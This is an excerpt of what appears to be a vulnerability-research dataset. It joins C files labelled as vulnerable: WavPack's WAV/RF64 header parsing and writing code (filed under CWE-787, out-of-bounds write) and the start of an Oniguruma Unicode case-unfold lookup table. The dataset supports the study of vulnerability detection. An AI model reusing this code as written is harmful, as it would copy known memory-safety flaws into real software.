(DS64Chunk) || !DoReadFile (infile, &ds64_chunk, sizeof (DS64Chunk), &bcount) || bcount != sizeof (DS64Chunk)) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &ds64_chunk, sizeof (DS64Chunk))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } got_ds64 = 1; WavpackLittleEndianToNative (&ds64_chunk, DS64ChunkFormat); if (debug_logging_mode) error_line ("DS64: riffSize = %lld, dataSize = %lld, sampleCount = %lld, table_length = %d", (long long) ds64_chunk.riffSize64, (long long) ds64_chunk.dataSize64, (long long) ds64_chunk.sampleCount64, ds64_chunk.tableLength); if (ds64_chunk.tableLength * sizeof (CS64Chunk) != chunk_header.ckSize - sizeof (DS64Chunk)) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } while (ds64_chunk.tableLength--) { CS64Chunk cs64_chunk; if (!DoReadFile (infile, &cs64_chunk, sizeof (CS64Chunk), &bcount) || bcount != sizeof (CS64Chunk) || (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &cs64_chunk, sizeof (CS64Chunk)))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } } } else if (!strncmp (chunk_header.ckID, "fmt ", 4)) { // if it's the format chunk, we want to get some info out of there and int supported = TRUE, format; // make sure it's a .wav file we can handle if (chunk_header.ckSize < 16 || chunk_header.ckSize > sizeof (WaveHeader) || !DoReadFile (infile, &WaveHeader, chunk_header.ckSize, &bcount) || bcount != chunk_header.ckSize) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &WaveHeader, chunk_header.ckSize)) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } WavpackLittleEndianToNative (&WaveHeader, WaveHeaderFormat); if (debug_logging_mode) { error_line ("format tag size = %d", chunk_header.ckSize); error_line ("FormatTag = %x, NumChannels = %d, BitsPerSample = %d", WaveHeader.FormatTag, WaveHeader.NumChannels, WaveHeader.BitsPerSample); error_line ("BlockAlign = %d, SampleRate = %d, BytesPerSecond = %d", WaveHeader.BlockAlign, WaveHeader.SampleRate, WaveHeader.BytesPerSecond); if (chunk_header.ckSize > 16) error_line ("cbSize = %d, ValidBitsPerSample = %d", WaveHeader.cbSize, WaveHeader.ValidBitsPerSample); if (chunk_header.ckSize > 20) error_line ("ChannelMask = %x, SubFormat = %d", WaveHeader.ChannelMask, WaveHeader.SubFormat); } if (chunk_header.ckSize > 16 && WaveHeader.cbSize == 2) config->qmode |= QMODE_ADOBE_MODE; format = (WaveHeader.FormatTag == 0xfffe && chunk_header.ckSize == 40) ? WaveHeader.SubFormat : WaveHeader.FormatTag; config->bits_per_sample = (chunk_header.ckSize == 40 && WaveHeader.ValidBitsPerSample) ? WaveHeader.ValidBitsPerSample : WaveHeader.BitsPerSample; if (format != 1 && format != 3) supported = FALSE; if (format == 3 && config->bits_per_sample != 32) supported = FALSE; if (!WaveHeader.NumChannels || WaveHeader.NumChannels > 256 || WaveHeader.BlockAlign / WaveHeader.NumChannels < (config->bits_per_sample + 7) / 8 || WaveHeader.BlockAlign / WaveHeader.NumChannels > 4 || WaveHeader.BlockAlign % WaveHeader.NumChannels) supported = FALSE; if (config->bits_per_sample < 1 || config->bits_per_sample > 32) supported = FALSE; if (!supported) { error_line ("%s is an unsupported .WAV format!", infilename); return WAVPACK_SOFT_ERROR; } if (chunk_header.ckSize < 40) { if (!config->channel_mask && !(config->qmode & QMODE_CHANS_UNASSIGNED)) { if (WaveHeader.NumChannels <= 2) config->channel_mask = 0x5 - WaveHeader.NumChannels; else if (WaveHeader.NumChannels <= 18) config->channel_mask = (1 << WaveHeader.NumChannels) - 1; else config->channel_mask = 0x3ffff; } } else if (WaveHeader.ChannelMask && (config->channel_mask || (config->qmode & QMODE_CHANS_UNASSIGNED))) { error_line ("this WAV file already has channel order information!"); return WAVPACK_SOFT_ERROR; } else if (WaveHeader.ChannelMask) config->channel_mask = WaveHeader.ChannelMask; if (format == 3) config->float_norm_exp = 127; else if ((config->qmode & QMODE_ADOBE_MODE) && WaveHeader.BlockAlign / WaveHeader.NumChannels == 4) { if (WaveHeader.BitsPerSample == 24) config->float_norm_exp = 127 + 23; else if (WaveHeader.BitsPerSample == 32) config->float_norm_exp = 127 + 15; } if (debug_logging_mode) { if (config->float_norm_exp == 127) error_line ("data format: normalized 32-bit floating point"); else if (config->float_norm_exp) error_line ("data format: 32-bit floating point (Audition %d:%d float type 1)", config->float_norm_exp - 126, 150 - config->float_norm_exp); else error_line ("data format: %d-bit integers stored in %d byte(s)", config->bits_per_sample, WaveHeader.BlockAlign / WaveHeader.NumChannels); } } else if (!strncmp (chunk_header.ckID, "data", 4)) { // on the data chunk, get size and exit loop int64_t data_chunk_size = (got_ds64 && chunk_header.ckSize == (uint32_t) -1) ? ds64_chunk.dataSize64 : chunk_header.ckSize; if (!WaveHeader.NumChannels || (is_rf64 && !got_ds64)) { // make sure we saw "fmt" and "ds64" chunks (if required) error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } if (infilesize && !(config->qmode & QMODE_IGNORE_LENGTH) && infilesize - data_chunk_size > 16777216) { error_line ("this .WAV file has over 16 MB of extra RIFF data, probably is corrupt!"); return WAVPACK_SOFT_ERROR; } if (config->qmode & QMODE_IGNORE_LENGTH) { if (infilesize && DoGetFilePosition (infile) != -1) total_samples = (infilesize - DoGetFilePosition (infile)) / WaveHeader.BlockAlign; else total_samples = -1; } else { total_samples = data_chunk_size / WaveHeader.BlockAlign; if (got_ds64 && total_samples != ds64_chunk.sampleCount64) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } if (!total_samples) { error_line ("this .WAV file has no audio samples, probably is corrupt!"); return WAVPACK_SOFT_ERROR; } if (total_samples > MAX_WAVPACK_SAMPLES) { error_line ("%s has too many samples for WavPack!", infilename); return WAVPACK_SOFT_ERROR; } } config->bytes_per_sample = WaveHeader.BlockAlign / WaveHeader.NumChannels; config->num_channels = WaveHeader.NumChannels; config->sample_rate = WaveHeader.SampleRate; break; } else { // just copy unknown chunks to output file int bytes_to_copy = (chunk_header.ckSize + 1) & ~1L; char *buff; if (bytes_to_copy < 0 || bytes_to_copy > 4194304) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } buff = malloc (bytes_to_copy); if (debug_logging_mode) error_line ("extra unknown chunk \"%c%c%c%c\" of %d bytes", chunk_header.ckID [0], chunk_header.ckID [1], chunk_header.ckID [2], chunk_header.ckID [3], chunk_header.ckSize); if (!DoReadFile (infile, buff, bytes_to_copy, &bcount) || bcount != bytes_to_copy || (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, buff, bytes_to_copy))) { error_line ("%s", WavpackGetErrorMessage (wpc)); free (buff); return WAVPACK_SOFT_ERROR; } free (buff); } } if (!WavpackSetConfiguration64 (wpc, config, total_samples, NULL)) { error_line ("%s: %s", infilename, WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } return WAVPACK_NO_ERROR; } int WriteRiffHeader (FILE *outfile, WavpackContext *wpc, int64_t total_samples, int qmode) { int do_rf64 = 0, write_junk = 1, table_length = 0; ChunkHeader ds64hdr, datahdr, fmthdr; RiffChunkHeader riffhdr; DS64Chunk ds64_chunk; CS64Chunk cs64_chunk; JunkChunk junkchunk; WaveHeader wavhdr; uint32_t bcount; int64_t total_data_bytes, total_riff_bytes; int num_channels = WavpackGetNumChannels (wpc); int32_t channel_mask = WavpackGetChannelMask (wpc); int32_t sample_rate = WavpackGetSampleRate (wpc); int bytes_per_sample = WavpackGetBytesPerSample (wpc); int bits_per_sample = WavpackGetBitsPerSample (wpc); int format = WavpackGetFloatNormExp (wpc) ? 3 : 1; int wavhdrsize = 16; if (format == 3 && WavpackGetFloatNormExp (wpc) != 127) { error_line ("can't create valid RIFF wav header for non-normalized floating data!"); return FALSE; } if (total_samples == -1) total_samples = 0x7ffff000 / (bytes_per_sample * num_channels); total_data_bytes = total_samples * bytes_per_sample * num_channels; if (total_data_bytes > 0xff000000) { if (debug_logging_mode) error_line ("total_data_bytes = %lld, so rf64", total_data_bytes); write_junk = 0; do_rf64 = 1; } else if (debug_logging_mode) error_line ("total_data_bytes = %lld, so riff", total_data_bytes); CLEAR (wavhdr); wavhdr.FormatTag = format; wavhdr.NumChannels = num_channels; wavhdr.SampleRate = sample_rate; wavhdr.BytesPerSecond = sample_rate * num_channels * bytes_per_sample; wavhdr.BlockAlign = bytes_per_sample * num_channels; wavhdr.BitsPerSample = bits_per_sample; if (num_channels > 2 || channel_mask != 0x5 - num_channels) { wavhdrsize = sizeof (wavhdr); wavhdr.cbSize = 22; wavhdr.ValidBitsPerSample = bits_per_sample; wavhdr.SubFormat = format; wavhdr.ChannelMask = channel_mask; wavhdr.FormatTag = 0xfffe; wavhdr.BitsPerSample = bytes_per_sample * 8; wavhdr.GUID [4] = 0x10; wavhdr.GUID [6] = 0x80; wavhdr.GUID [9] = 0xaa; wavhdr.GUID [11] = 0x38; wavhdr.GUID [12] = 0x9b; wavhdr.GUID [13] = 0x71; } strncpy (riffhdr.ckID, do_rf64 ? "RF64" : "RIFF", sizeof (riffhdr.ckID)); strncpy (riffhdr.formType, "WAVE", sizeof (riffhdr.formType)); total_riff_bytes = sizeof (riffhdr) + wavhdrsize + sizeof (datahdr) + ((total_data_bytes + 1) & ~(int64_t)1); if (do_rf64) total_riff_bytes += sizeof (ds64hdr) + sizeof (ds64_chunk); total_riff_bytes += table_length * sizeof (CS64Chunk); if (write_junk) total_riff_bytes += sizeof (junkchunk); strncpy (fmthdr.ckID, "fmt ", sizeof (fmthdr.ckID)); strncpy (datahdr.ckID, "data", sizeof (datahdr.ckID)); fmthdr.ckSize = wavhdrsize; if (write_junk) { CLEAR (junkchunk); strncpy (junkchunk.ckID, "junk", sizeof (junkchunk.ckID)); junkchunk.ckSize = sizeof (junkchunk) - 8; WavpackNativeToLittleEndian (&junkchunk, ChunkHeaderFormat); } if (do_rf64) { strncpy (ds64hdr.ckID, "ds64", sizeof (ds64hdr.ckID)); ds64hdr.ckSize = sizeof (ds64_chunk) + (table_length * sizeof (CS64Chunk)); CLEAR (ds64_chunk); ds64_chunk.riffSize64 = total_riff_bytes; ds64_chunk.dataSize64 = total_data_bytes; ds64_chunk.sampleCount64 = total_samples; ds64_chunk.tableLength = table_length; riffhdr.ckSize = (uint32_t) -1; datahdr.ckSize = (uint32_t) -1; WavpackNativeToLittleEndian (&ds64hdr, ChunkHeaderFormat); WavpackNativeToLittleEndian (&ds64_chunk, DS64ChunkFormat); } else { riffhdr.ckSize = (uint32_t) total_riff_bytes; datahdr.ckSize = (uint32_t) total_data_bytes; } // this "table" is just a dummy placeholder for testing (normally not written) if (table_length) { strncpy (cs64_chunk.ckID, "dmmy", sizeof (cs64_chunk.ckID)); cs64_chunk.chunkSize64 = 12345678; WavpackNativeToLittleEndian (&cs64_chunk, CS64ChunkFormat); } // write the RIFF chunks up to just before the data starts WavpackNativeToLittleEndian (&riffhdr, ChunkHeaderFormat); WavpackNativeToLittleEndian (&fmthdr, ChunkHeaderFormat); WavpackNativeToLittleEndian (&wavhdr, WaveHeaderFormat); WavpackNativeToLittleEndian (&datahdr, ChunkHeaderFormat); if (!DoWriteFile (outfile, &riffhdr, sizeof (riffhdr), &bcount) || bcount != sizeof (riffhdr) || (do_rf64 && (!DoWriteFile (outfile, &ds64hdr, sizeof (ds64hdr), &bcount) || bcount != sizeof (ds64hdr))) || (do_rf64 && (!DoWriteFile (outfile, &ds64_chunk, sizeof (ds64_chunk), &bcount) || bcount != sizeof (ds64_chunk)))) { error_line ("can't write .WAV data, disk probably full!"); return FALSE; } // again, this is normally not written except for testing while (table_length--) if (!DoWriteFile (outfile, &cs64_chunk, sizeof (cs64_chunk), &bcount) || bcount != sizeof (cs64_chunk)) { error_line ("can't write .WAV data, disk probably full!"); return FALSE; } if ((write_junk && (!DoWriteFile (outfile, &junkchunk, sizeof (junkchunk), &bcount) || bcount != sizeof (junkchunk))) || !DoWriteFile (outfile, &fmthdr, sizeof (fmthdr), &bcount) || bcount != sizeof (fmthdr) || !DoWriteFile (outfile, &wavhdr, wavhdrsize, &bcount) || bcount != wavhdrsize || !DoWriteFile (outfile, &datahdr, sizeof (datahdr), &bcount) || bcount != sizeof (datahdr)) { error_line ("can't write .WAV data, disk probably full!"); return FALSE; } return TRUE; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_95_0
crossvul-cpp_data_bad_3373_1
/* This file was converted by gperf_unfold_key_conv.py from gperf output file. */ /* ANSI-C code produced by gperf version 3.0.4 */ /* Command-line: gperf -n -C -T -c -t -j1 -L ANSI-C -F,-1,0 -N unicode_unfold_key unicode_unfold_key.gperf */ /* Computed positions: -k'1-3' */ /* This gperf source file was generated by make_unicode_fold_data.py */ #include <string.h> #include "regenc.h" #define TOTAL_KEYWORDS 1321 #define MIN_WORD_LENGTH 3 #define MAX_WORD_LENGTH 3 #define MIN_HASH_VALUE 11 #define MAX_HASH_VALUE 1544 /* maximum key range = 1534, duplicates = 0 */ #ifdef __GNUC__ __inline #else #ifdef __cplusplus inline #endif #endif /*ARGSUSED*/ static unsigned int hash(OnigCodePoint codes[]) { static const unsigned short asso_values[] = { 8, 6, 2, 124, 5, 1, 36, 1545, 1545, 1545, 1545, 1545, 1545, 11, 1545, 1545, 1545, 16, 1545, 1545, 562, 1545, 1545, 1545, 1545, 77, 1545, 1545, 1545, 1545, 1545, 0, 3, 1545, 61, 628, 1379, 206, 1378, 607, 1372, 597, 1399, 569, 1371, 4, 1365, 559, 1359, 548, 1353, 836, 1393, 830, 1345, 587, 1344, 581, 1336, 539, 1335, 530, 982, 521, 970, 818, 1389, 723, 1329, 351, 1320, 333, 1312, 293, 1311, 320, 1304, 176, 589, 311, 1165, 302, 1384, 1243, 579, 780, 173, 1230, 147, 1213, 75, 1219, 1296, 1009, 1293, 1282, 1267, 1217, 1030, 331, 1291, 1210, 1286, 998, 500, 993, 1359, 806, 1281, 510, 1048, 501, 662, 797, 754, 792, 372, 775, 290, 768, 228, 755, 292, 1159, 489, 1135, 267, 1229, 233, 1053, 222, 728, 159, 708, 484, 695, 155, 995, 247, 686, 859, 674, 747, 618, 561, 381, 313, 987, 167, 975, 165, 1279, 388, 1207, 157, 765, 900, 1007, 794, 476, 21, 1198, 1271, 490, 1265, 478, 1245, 18, 8, 253, 1188, 652, 7, 245, 1185, 415, 1256, 226, 1177, 54, 1169, 214, 1155, 195, 607, 42, 963, 30, 1147, 185, 1139, 465, 1129, 451, 1121, 86, 948, 136, 940, 76, 909, 66, 664, 126, 644, 116, 632, 106, 930, 166, 925, 149, 915, 96, 903, 390, 364, 283, 746, 273, 1098, 372, 1095, 265, 528, 361, 311, 897, 1195, 396, 1103, 425, 1094, 1088, 893, 887, 573, 407, 237, 1083, 934, 1145, 432, 1076, 679, 714, 956, 1112, 509, 880, 62, 873, 157, 864, 276, 1069, 112, 855, 156, 1063, 1545, 848, 152, 1057, 1545, 1047, 145, 1041, 144, 1035, 49, 1025, 142, 1256, 1545, 1239, 355, 342, 21, 1019, 14, 1233, 459, 843, 822, 740, 38, 553, 96, 448, 8 }; return asso_values[(unsigned char)onig_codes_byte_at(codes, 2)+35] + asso_values[(unsigned char)onig_codes_byte_at(codes, 1)+1] + asso_values[(unsigned char)onig_codes_byte_at(codes, 0)]; } #ifdef __GNUC__ __inline #if defined __GNUC_STDC_INLINE__ || defined __GNUC_GNU_INLINE__ __attribute__ ((__gnu_inline__)) #endif #endif const struct ByUnfoldKey * unicode_unfold_key(OnigCodePoint code) { static const struct ByUnfoldKey wordlist[] = { {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0x1040a, 3267, 1}, {0x1e0a, 1727, 1}, {0x040a, 1016, 1}, {0x010a, 186, 1}, {0x1f0a, 2088, 1}, {0x2c0a, 2451, 1}, {0x0189, 619, 1}, {0x1f89, 134, 2}, {0x1f85, 154, 2}, {0x0389, 733, 1}, {0x03ff, 724, 1}, {0xab89, 1523, 1}, {0xab85, 1511, 1}, {0x10c89, 3384, 1}, {0x10c85, 3372, 1}, {0x1e84, 1911, 1}, {0x03f5, 752, 1}, {0x0184, 360, 1}, {0x1f84, 149, 2}, {0x2c84, 2592, 1}, {0x017d, 351, 1}, {0x1ff3, 96, 2}, {0xab84, 1508, 1}, {0xa784, 3105, 1}, {0x10c84, 3369, 1}, {0xab7d, 1487, 1}, {0xa77d, 1706, 1}, {0x1e98, 38, 2}, {0x0498, 1106, 1}, {0x0198, 375, 1}, {0x1f98, 169, 2}, {0x2c98, 2622, 1}, {0x0398, 762, 1}, {0xa684, 2940, 1}, {0xab98, 1568, 1}, {0xa798, 3123, 1}, {0x10c98, 3429, 1}, {0x050a, 1277, 1}, {0x1ffb, 2265, 1}, {0x1e96, 16, 2}, {0x0496, 1103, 1}, {0x0196, 652, 1}, {0x1f96, 199, 2}, {0x2c96, 2619, 1}, {0x0396, 756, 1}, {0xa698, 2970, 1}, {0xab96, 1562, 1}, {0xa796, 3120, 1}, {0x10c96, 3423, 1}, {0x1feb, 2259, 1}, {0x2ceb, 2736, 1}, {0x1e90, 1929, 1}, {0x0490, 1094, 1}, {0x0190, 628, 1}, {0x1f90, 169, 2}, {0x2c90, 2610, 1}, {0x0390, 25, 3}, {0xa696, 2967, 1}, {0xab90, 1544, 1}, {0xa790, 3114, 1}, {0x10c90, 3405, 1}, {0x01d7, 444, 1}, {0x1fd7, 31, 3}, {0x1ea6, 1947, 1}, {0x04a6, 1127, 1}, {0x01a6, 676, 1}, {0x1fa6, 239, 2}, {0x2ca6, 2643, 1}, {0x03a6, 810, 1}, {0xa690, 2958, 1}, {0xaba6, 1610, 1}, {0xa7a6, 3144, 1}, {0x10ca6, 3471, 1}, {0x1ea4, 1944, 1}, {0x04a4, 1124, 1}, {0x01a4, 390, 1}, {0x1fa4, 229, 2}, {0x2ca4, 2640, 1}, {0x03a4, 804, 1}, {0x10a6, 2763, 1}, {0xaba4, 1604, 1}, {0xa7a4, 3141, 1}, {0x10ca4, 3465, 1}, {0x1ea0, 1938, 1}, {0x04a0, 1118, 1}, {0x01a0, 384, 1}, {0x1fa0, 209, 2}, {0x2ca0, 2634, 1}, {0x03a0, 792, 1}, {0x10a4, 2757, 1}, {0xaba0, 1592, 1}, {0xa7a0, 3135, 1}, {0x10ca0, 3453, 1}, {0x1eb2, 1965, 1}, {0x04b2, 1145, 1}, {0x01b2, 694, 1}, {0x1fb2, 249, 2}, {0x2cb2, 2661, 1}, {0x03fd, 718, 1}, {0x10a0, 2745, 1}, {0xabb2, 1646, 1}, {0xa7b2, 703, 1}, {0x10cb2, 3507, 1}, {0x1eac, 1956, 1}, {0x04ac, 1136, 1}, {0x01ac, 396, 1}, {0x1fac, 229, 2}, {0x2cac, 2652, 1}, {0x0537, 1352, 1}, {0x10b2, 2799, 1}, {0xabac, 1628, 1}, {0xa7ac, 637, 1}, {0x10cac, 3489, 1}, {0x1eaa, 1953, 1}, {0x04aa, 1133, 1}, {0x00dd, 162, 1}, {0x1faa, 219, 2}, {0x2caa, 2649, 1}, {0x03aa, 824, 1}, {0x10ac, 2781, 1}, {0xabaa, 1622, 1}, {0xa7aa, 646, 1}, {0x10caa, 3483, 1}, {0x1ea8, 1950, 1}, {0x04a8, 1130, 1}, {0x020a, 517, 1}, {0x1fa8, 209, 2}, {0x2ca8, 2646, 1}, {0x03a8, 817, 1}, {0x10aa, 2775, 1}, {0xaba8, 1616, 1}, {0xa7a8, 3147, 1}, {0x10ca8, 3477, 1}, {0x1ea2, 1941, 1}, {0x04a2, 1121, 1}, {0x01a2, 387, 1}, {0x1fa2, 219, 2}, {0x2ca2, 2637, 1}, {0x118a6, 3528, 1}, {0x10a8, 2769, 1}, {0xaba2, 1598, 1}, {0xa7a2, 3138, 1}, {0x10ca2, 3459, 1}, {0x2ced, 2739, 1}, {0x1fe9, 2283, 1}, {0x1fe7, 47, 3}, {0x1eb0, 1962, 1}, {0x04b0, 1142, 1}, {0x118a4, 3522, 1}, {0x10a2, 2751, 1}, {0x2cb0, 2658, 1}, {0x03b0, 41, 3}, {0x1fe3, 41, 3}, {0xabb0, 1640, 1}, {0xa7b0, 706, 1}, {0x10cb0, 3501, 1}, {0x01d9, 447, 1}, {0x1fd9, 2277, 1}, {0x118a0, 3510, 1}, {0x00df, 24, 2}, {0x00d9, 150, 1}, {0xab77, 1469, 1}, {0x10b0, 2793, 1}, {0x1eae, 1959, 1}, {0x04ae, 1139, 1}, {0x01ae, 685, 1}, {0x1fae, 239, 2}, {0x2cae, 2655, 1}, {0x118b2, 3564, 1}, {0xab73, 1457, 1}, {0xabae, 1634, 1}, {0xab71, 1451, 1}, {0x10cae, 3495, 1}, {0x1e2a, 1775, 1}, {0x042a, 968, 1}, {0x012a, 234, 1}, {0x1f2a, 2130, 1}, {0x2c2a, 2547, 1}, {0x118ac, 3546, 1}, {0x10ae, 2787, 1}, {0x0535, 1346, 1}, {0xa72a, 2988, 1}, {0x1e9a, 0, 2}, {0x049a, 1109, 1}, {0xff37, 3225, 1}, {0x1f9a, 179, 2}, {0x2c9a, 2625, 1}, {0x039a, 772, 1}, {0x118aa, 3540, 1}, {0xab9a, 1574, 1}, {0xa79a, 3126, 1}, {0x10c9a, 3435, 1}, {0x1e94, 1935, 1}, {0x0494, 1100, 1}, {0x0194, 640, 1}, {0x1f94, 189, 2}, {0x2c94, 2616, 1}, {0x0394, 749, 1}, {0x118a8, 3534, 1}, {0xab94, 1556, 1}, {0xa69a, 2973, 1}, {0x10c94, 3417, 1}, {0x10402, 3243, 1}, {0x1e02, 1715, 1}, {0x0402, 992, 1}, {0x0102, 174, 1}, {0x0533, 1340, 1}, {0x2c02, 2427, 1}, {0x118a2, 3516, 1}, {0x052a, 1325, 1}, {0xa694, 2964, 1}, {0x1e92, 1932, 1}, {0x0492, 1097, 1}, {0x2165, 2307, 1}, {0x1f92, 179, 2}, {0x2c92, 2613, 1}, {0x0392, 742, 1}, {0x2161, 2295, 1}, {0xab92, 1550, 1}, {0xa792, 3117, 1}, {0x10c92, 3411, 1}, {0x118b0, 3558, 1}, {0x1f5f, 2199, 1}, {0x1e8e, 1926, 1}, {0x048e, 1091, 1}, {0x018e, 453, 1}, {0x1f8e, 159, 2}, {0x2c8e, 2607, 1}, {0x038e, 833, 1}, {0xa692, 2961, 1}, {0xab8e, 1538, 1}, {0x0055, 59, 1}, {0x10c8e, 3399, 1}, {0x1f5d, 2196, 1}, {0x212a, 27, 1}, {0x04cb, 1181, 1}, {0x01cb, 425, 1}, {0x1fcb, 2241, 1}, {0x118ae, 3552, 1}, {0x0502, 1265, 1}, {0x00cb, 111, 1}, {0xa68e, 2955, 1}, {0x1e8a, 1920, 1}, {0x048a, 1085, 1}, {0x018a, 622, 1}, {0x1f8a, 139, 2}, {0x2c8a, 2601, 1}, {0x038a, 736, 1}, {0x2c67, 2571, 1}, {0xab8a, 1526, 1}, {0x1e86, 1914, 1}, {0x10c8a, 3387, 1}, {0x0186, 616, 1}, {0x1f86, 159, 2}, {0x2c86, 2595, 1}, {0x0386, 727, 1}, {0xff35, 3219, 1}, {0xab86, 1514, 1}, {0xa786, 3108, 1}, {0x10c86, 3375, 1}, {0xa68a, 2949, 1}, {0x0555, 1442, 1}, {0x1ebc, 1980, 1}, {0x04bc, 1160, 1}, {0x01bc, 411, 1}, {0x1fbc, 62, 2}, {0x2cbc, 2676, 1}, {0x1f5b, 2193, 1}, {0xa686, 2943, 1}, {0xabbc, 1676, 1}, {0x1eb8, 1974, 1}, {0x04b8, 1154, 1}, {0x01b8, 408, 1}, {0x1fb8, 2268, 1}, {0x2cb8, 2670, 1}, {0x01db, 450, 1}, {0x1fdb, 2247, 1}, {0xabb8, 1664, 1}, {0x10bc, 2829, 1}, {0x00db, 156, 1}, {0x1eb6, 1971, 1}, {0x04b6, 1151, 1}, {0xff33, 3213, 1}, {0x1fb6, 58, 2}, {0x2cb6, 2667, 1}, {0xff2a, 3186, 1}, {0x10b8, 2817, 1}, {0xabb6, 1658, 1}, {0xa7b6, 3153, 1}, {0x10426, 3351, 1}, {0x1e26, 1769, 1}, {0x0426, 956, 1}, {0x0126, 228, 1}, {0x0053, 52, 1}, {0x2c26, 2535, 1}, {0x0057, 65, 1}, {0x10b6, 2811, 1}, {0x022a, 562, 1}, {0xa726, 2982, 1}, {0x1e2e, 1781, 1}, {0x042e, 980, 1}, {0x012e, 240, 1}, {0x1f2e, 2142, 1}, {0x2c2e, 2559, 1}, {0xffffffff, -1, 0}, {0x2167, 2313, 1}, {0xffffffff, -1, 0}, {0xa72e, 2994, 1}, {0x1e2c, 1778, 1}, {0x042c, 974, 1}, {0x012c, 237, 1}, {0x1f2c, 2136, 1}, {0x2c2c, 2553, 1}, {0x1f6f, 2223, 1}, {0x2c6f, 604, 1}, {0xabbf, 1685, 1}, {0xa72c, 2991, 1}, {0x1e28, 1772, 1}, {0x0428, 962, 1}, {0x0128, 231, 1}, {0x1f28, 2124, 1}, {0x2c28, 2541, 1}, {0xffffffff, -1, 0}, {0x0553, 1436, 1}, {0x10bf, 2838, 1}, {0xa728, 2985, 1}, {0x0526, 1319, 1}, {0x0202, 505, 1}, {0x1e40, 1808, 1}, {0x10424, 3345, 1}, {0x1e24, 1766, 1}, {0x0424, 950, 1}, {0x0124, 225, 1}, {0xffffffff, -1, 0}, {0x2c24, 2529, 1}, {0x052e, 1331, 1}, {0xa740, 3018, 1}, {0x118bc, 3594, 1}, {0xa724, 2979, 1}, {0x1ef2, 2061, 1}, {0x04f2, 1241, 1}, {0x01f2, 483, 1}, {0x1ff2, 257, 2}, {0x2cf2, 2742, 1}, {0x052c, 1328, 1}, {0x118b8, 3582, 1}, {0xa640, 2865, 1}, {0x10422, 3339, 1}, {0x1e22, 1763, 1}, {0x0422, 944, 1}, {0x0122, 222, 1}, {0x2126, 820, 1}, {0x2c22, 2523, 1}, {0x0528, 1322, 1}, {0x01f1, 483, 1}, {0x118b6, 3576, 1}, {0xa722, 2976, 1}, {0x03f1, 796, 1}, {0x1ebe, 1983, 1}, {0x04be, 1163, 1}, {0xfb02, 12, 2}, {0x1fbe, 767, 1}, {0x2cbe, 2679, 1}, {0x01b5, 405, 1}, {0x0540, 1379, 1}, {0xabbe, 1682, 1}, {0x0524, 1316, 1}, {0x00b5, 779, 1}, {0xabb5, 1655, 1}, {0x1eba, 1977, 1}, {0x04ba, 1157, 1}, {0x216f, 2337, 1}, {0x1fba, 2226, 1}, {0x2cba, 2673, 1}, {0x10be, 2835, 1}, {0x0051, 46, 1}, {0xabba, 1670, 1}, {0x10b5, 2808, 1}, {0x1e6e, 1878, 1}, {0x046e, 1055, 1}, {0x016e, 330, 1}, {0x1f6e, 2220, 1}, {0x2c6e, 664, 1}, {0x118bf, 3603, 1}, {0x0522, 1313, 1}, {0x10ba, 2823, 1}, {0xa76e, 3087, 1}, {0x1eb4, 1968, 1}, {0x04b4, 1148, 1}, {0x2c75, 2583, 1}, {0x1fb4, 50, 2}, {0x2cb4, 2664, 1}, {0xab75, 1463, 1}, {0x1ec2, 1989, 1}, {0xabb4, 1652, 1}, {0xa7b4, 3150, 1}, {0x1fc2, 253, 2}, {0x2cc2, 2685, 1}, {0x03c2, 800, 1}, {0x00c2, 83, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xff26, 3174, 1}, {0x10b4, 2805, 1}, {0x1eca, 2001, 1}, {0x0551, 1430, 1}, {0x01ca, 425, 1}, {0x1fca, 2238, 1}, {0x2cca, 2697, 1}, {0x10c2, 2847, 1}, {0x00ca, 108, 1}, {0xff2e, 3198, 1}, {0x1e8c, 1923, 1}, {0x048c, 1088, 1}, {0x0226, 556, 1}, {0x1f8c, 149, 2}, {0x2c8c, 2604, 1}, {0x038c, 830, 1}, {0xffffffff, -1, 0}, {0xab8c, 1532, 1}, {0xff2c, 3192, 1}, {0x10c8c, 3393, 1}, {0x1ec4, 1992, 1}, {0x022e, 568, 1}, {0x01c4, 417, 1}, {0x1fc4, 54, 2}, {0x2cc4, 2688, 1}, {0xffffffff, -1, 0}, {0x00c4, 89, 1}, {0xff28, 3180, 1}, {0xa68c, 2952, 1}, {0x01cf, 432, 1}, {0x022c, 565, 1}, {0x118be, 3600, 1}, {0x03cf, 839, 1}, {0x00cf, 123, 1}, {0x118b5, 3573, 1}, {0xffffffff, -1, 0}, {0x10c4, 2853, 1}, {0x216e, 2334, 1}, {0x24cb, 2406, 1}, {0x0228, 559, 1}, {0xff24, 3168, 1}, {0xffffffff, -1, 0}, {0x118ba, 3588, 1}, {0x1efe, 2079, 1}, {0x04fe, 1259, 1}, {0x01fe, 499, 1}, {0x1e9e, 24, 2}, {0x049e, 1115, 1}, {0x03fe, 721, 1}, {0x1f9e, 199, 2}, {0x2c9e, 2631, 1}, {0x039e, 786, 1}, {0x0224, 553, 1}, {0xab9e, 1586, 1}, {0xa79e, 3132, 1}, {0x10c9e, 3447, 1}, {0x01f7, 414, 1}, {0x1ff7, 67, 3}, {0xff22, 3162, 1}, 